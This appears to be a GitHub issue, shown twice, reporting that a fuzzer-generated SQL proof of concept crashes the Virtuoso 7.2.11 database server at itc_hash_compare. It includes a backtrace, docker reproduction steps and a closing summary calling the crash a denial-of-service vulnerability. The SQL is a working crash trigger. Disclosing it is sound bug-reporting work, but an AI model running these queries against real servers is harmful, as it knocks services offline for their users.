The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
CREATE TABLE v0 ( v1 BIGINT ) ; 
  INSERT INTO v0 VALUES ( 88 ) ; 
  INSERT INTO v0 ( v1 , v1 ) VALUES ( NULL , 31 ) ; 
  INSERT INTO v0 ( v1 ) SELECT ( SELECT -128 ) FROM ( SELECT 86 + 98371242.000000 AS v8 , 8 AS v9 , 'x' AS v7 FROM v0 AS v11 , v0 AS v10 ) AS v3 , v0 AS v6 , v0 AS v5 , v0 AS v4 , v0 , v0 AS v2 ; 
  UPDATE v0 AS v15 SET v1 = ( SELECT ( CASE WHEN -1 THEN 14 ELSE CASE WHEN v1 IN ( SELECT v1 FROM v0 WHERE v1 > 66 OR 75 OR v1 = ( SELECT -1 FROM v0 , v0 AS v14 , v0 AS v13 WHERE v1 IN ( RANK ( v1 , v1 ) , 88 ) ) GROUP BY v1 ) THEN v1 ELSE NULL END END ) AS v12 ) ; 
```

backtrace:
```c
#0 0x4432fe (itc_hash_compare+0x5be)
#1 0x896235 (itc_vec_row_check+0x435)
#2 0x617353 (itc_page_search+0xc13)
#3 0x61345f (itc_search+0x84f)
#4 0x896b95 (itc_vec_next+0x115)
#5 0x7b2565 (ks_start_search+0xf75)
#6 0x7b434e (table_source_input+0x99e)
#7 0x7af05e (qn_input+0x3ce)
#8 0x44c979 (chash_fill_input+0x589)
#9 0x5370af (hash_fill_node_input+0xef)
#10 0x7af05e (qn_input+0x3ce)
#11 0x7af4c6 (qn_send_output+0x236)
#12 0x8214bd (set_ctr_vec_input+0x99d)
#13 0x7af05e (qn_input+0x3ce)
#14 0x7c1be9 (qr_dml_array_exec+0x839)
#15 0x7ce602 (sf_sql_execute+0x15d2)
#16 0x7cecde (sf_sql_execute_w+0x17e)
#17 0x7d799d (sf_sql_execute_wrapper+0x3d)
#18 0xe214bc (future_wrapper+0x3fc)
#19 0xe28dbe (_thread_boot+0x11e)
#20 0x7f24cbff6609 (start_thread+0xd9)
#21 0x7f24cbdc6133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
Fuzzer: Virtuoso 7.2.11 crashed at `itc_hash_compare`
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Fuzzer: Virtuoso 7.2.11 crashed at `itc_hash_compare`
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
CREATE TABLE v0 ( v1 BIGINT ) ; 
  INSERT INTO v0 VALUES ( 88 ) ; 
  INSERT INTO v0 ( v1 , v1 ) VALUES ( NULL , 31 ) ; 
  INSERT INTO v0 ( v1 ) SELECT ( SELECT -128 ) FROM ( SELECT 86 + 98371242.000000 AS v8 , 8 AS v9 , 'x' AS v7 FROM v0 AS v11 , v0 AS v10 ) AS v3 , v0 AS v6 , v0 AS v5 , v0 AS v4 , v0 , v0 AS v2 ; 
  UPDATE v0 AS v15 SET v1 = ( SELECT ( CASE WHEN -1 THEN 14 ELSE CASE WHEN v1 IN ( SELECT v1 FROM v0 WHERE v1 > 66 OR 75 OR v1 = ( SELECT -1 FROM v0 , v0 AS v14 , v0 AS v13 WHERE v1 IN ( RANK ( v1 , v1 ) , 88 ) ) GROUP BY v1 ) THEN v1 ELSE NULL END END ) AS v12 ) ; 
```

backtrace:
```c
#0 0x4432fe (itc_hash_compare+0x5be)
#1 0x896235 (itc_vec_row_check+0x435)
#2 0x617353 (itc_page_search+0xc13)
#3 0x61345f (itc_search+0x84f)
#4 0x896b95 (itc_vec_next+0x115)
#5 0x7b2565 (ks_start_search+0xf75)
#6 0x7b434e (table_source_input+0x99e)
#7 0x7af05e (qn_input+0x3ce)
#8 0x44c979 (chash_fill_input+0x589)
#9 0x5370af (hash_fill_node_input+0xef)
#10 0x7af05e (qn_input+0x3ce)
#11 0x7af4c6 (qn_send_output+0x236)
#12 0x8214bd (set_ctr_vec_input+0x99d)
#13 0x7af05e (qn_input+0x3ce)
#14 0x7c1be9 (qr_dml_array_exec+0x839)
#15 0x7ce602 (sf_sql_execute+0x15d2)
#16 0x7cecde (sf_sql_execute_w+0x17e)
#17 0x7d799d (sf_sql_execute_wrapper+0x3d)
#18 0xe214bc (future_wrapper+0x3fc)
#19 0xe28dbe (_thread_boot+0x11e)
#20 0x7f24cbff6609 (start_thread+0xd9)
#21 0x7f24cbdc6133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
--- end body ---

A segmentation fault in the Virtuoso 7.2.11 database server occurs when executing a specific SQL query that triggers the `itc_hash_compare` function. This vulnerability can be exploited to cause a Denial of Service (DoS) by crashing the server when the provided SQL commands are executed, particularly when inserting and updating records in a table with complex nested queries.